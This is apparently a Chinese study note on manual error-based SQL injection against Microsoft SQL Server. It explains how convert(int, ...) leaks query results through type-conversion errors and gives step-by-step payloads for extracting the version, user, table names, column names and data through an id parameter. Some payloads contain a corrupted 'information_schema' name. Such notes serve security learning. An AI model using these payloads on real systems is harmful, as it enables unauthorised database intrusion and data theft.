学习笔记十八：Mssql手注之报错注入

convert()函数

CONVERT()函数是把日期转换为新数据类型的通用函数。

语法：

CONVERT(data_type(length),data_to_be_converted,style)

data_type(length)          规定目标数据类型（带有可选的长度）。

data_to_be_converted  含有需要转换的值。

style                               规定日期/时间的输出格式。

示例：

CONVERT(VARCHAR(19),GETDATE())

CONVERT(VARCHAR(10),GETDATE(),110)

CONVERT(VARCHAR(11),GETDATE(),106）

CONVERT(VARCHAR(24),GETDATE(),113)

原理

对于convert(int,@@version)，convert函数⾸先会执⾏第⼆个参数指定的SQL查询，然后尝试将查询结果转换为int类型。但是，由于这个SQL查询的结果是varchar类型，⽆法进⾏指定的转换，所以，convert函数会抛出 ⼀个sql server错误消息，指出“SQL查询结果”⽆法转换为“int”类型，这样的话，攻击者就能得到的这个SQL查询的结果了。

满足这样条件的函数还有很多：convert() ，file_name() ，db_name() ，col_name() ，filegroup_name()，object_name() ，schema_name() ，type_name() ，cast()

注入流程：

注意：这次的注入操作都是把要注入的语句直接替换参数值，也就是id=1 的1。

1.查询基本信息

convert(int,@@version)    获取版本信息

convert(int,db_name())      数据库名字

convert(int,user)     当前用户名

convert(int,@@SERVERNAME)   获取有关服务器主机的信息

2.获取当前数据库的表名

convert(int,(select top 1 table_name from @R_891_4045@ion_schema.columns))

3.获取列名

convert(int,(select top 1 COLUMN_NAME from @R_891_4045@ion_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar)))

4.获取数据

convert(int,(select top 1 name 列名 from 表名))